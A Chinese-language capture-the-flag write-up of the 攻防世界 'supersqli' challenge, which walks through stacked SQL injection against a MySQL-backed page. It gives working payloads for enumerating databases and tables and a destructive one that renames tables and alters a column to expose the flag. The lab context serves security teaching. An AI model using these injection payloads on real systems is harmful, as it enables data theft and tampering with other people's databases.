supersqli
补充知识点
rename 命令格式: rename table 原表名 to 新表名
例如,在表myclass名字更改为youclass:
mysql>rename table myclass to youclass;
alter和change,使用change子句,语法有很大的不同。在change关键字之后,紧跟着的是你要修改的字段名,然后指定新字段名及类型,例子
mysql> alter table testalter_tbl change i j int

补充完成了这两个知识点我们来看题目

进入环境输入1a我们正常得到回显

所以判定为字符型sql注入,判断数据库有多少列

1' order by 3#

回显不正常,但by2回显正常确定为两列

-1' union select 1,2#

当使用联合注入判断回显位置的时候发现绊掉了一些关键字

我这里想使用堆叠注入来完成题目,我们使用show指令来查看数据库

1';show databases;#

接下来我们来show一下表

1';show tables;#

然后我们来看一下表的结构

-1';desc words;--+

1';desc `1919810931114514`;--+

根据这两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

此时会想到禁用的函数并没有过滤掉rename和alert,所以我们可以采用修改表结构的方法来得到flag将words表明改为words1,再将数字名改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename table `words` to `words1`;rename table `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

然后我们用这个语句即可查出flag

1' or 1 = 1#

得到flag

攻防世界supersqli的更多相关文章

  1. 攻防世界(六)supersqli

    攻防世界系列:supersqli 方法一: 用逗号包裹回显正常,说明存在注入 1';--+(注释符也可用 -- 或 # 发现均未被过滤!) 有order by 语句可知表由2个字段,使用联合查询 (想 ...

  2. 攻防世界 WriteUp

    附:|>>>攻防世界-WEB-新手练习区<<<| WriteUp目录 01.|>>>baby_web<<<| 02.|>& ...

  3. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  4. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  5. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  6. 【攻防世界】高手进阶 pwn200 WP

    题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...

  7. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  8. 攻防世界 | CAT

    来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...

  9. 攻防世界 robots题

    来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...

随机推荐

  1. C# 使用NPOI处理Excel模板-【前面部分固定,中间是动态的几行,尾部是固定的部分】

    今天同组的兄弟问我,他有一个导出的模板,大概如下: [前面部分固定,中间是动态的几行,尾部是固定的部分].其实这个很像单链表往单链表在指定插入数据. 他问我怎么做才好,他想到的做法是:因为这些动态列的 ...

  2. GNS3与抓包工具Wireshark的关联

    转至:https://blog.51cto.com/xpleaf/1615145 (一)前言 本博文分享GNS3与Wireshark关联的方法. 显然现在网络上已经有类似的文章分享,而本博文旨在提供更 ...

  3. java ssh远程服务器并执行多条shell命令

    java ssh远程服务器并执行多条命令 import java.io.BufferedReader; import java.io.IOException; import java.io.Input ...

  4. 设计模式(一) 灵活的javaScript语言

    首先先看几个函数: function checkName () {){}// 验证姓名 function checkEmail() {} // 验证邮箱 function checkPassword( ...

  5. QT:MYSQL driver not loaded解决方法

    0.参考(按对本人帮助从高到低排列) Qt5.14.1 如何编译和使用mysql和mariadb数据库驱动 (15条消息) QMYSQL driver not loaded 的原理和解决办法_m158 ...

  6. JAVA_Scanner 键盘输入

    键盘输入语句 介绍:在编程中,需要接收用户输入的数据,就可以使用键盘输入语句来获取.Input.java , 需要一个 扫描器(对象), 就是 Scanner 步骤: 导入该类的所在包, java.u ...

  7. 调用Visual Studio的cl.exe编译C/C++程序

    @ 目录 调用Visual Studio的cl.exe编译C/C++程序 前言 1.查看VS的路径 2.添加环境变量 3.查看设置是否生效 4.配置Notepad++ 调用Visual Studio的 ...

  8. php简易表单及下拉框动态渲染

    <?php//1.连接数据库$link = mysqli_connect('127.0.0.1','root','root','1906');//2.设置字符集mysqli_set_charse ...

  9. 关于mysql8.0 caching_sha2_password和sha256_password认证方式

    今天开发上线新系统反馈数据库连接有问题.自己分别在命令行下及navicat进行连接发现,发现root用户密码在命令行下可以正常连接,但是新建立的子用户连接不上.于是就换成管理员密码.立即就连接上了.看 ...

  10. Nebula Graph 在企查查的应用

    本文首发于 Nebula Graph Community 公众号 背景 企查查是企查查科技有限公司旗下的一款企业信用查询工具,旨在为用户提供快速查询企业工商信息.法院判决信息.关联企业信息.法律诉讼. ...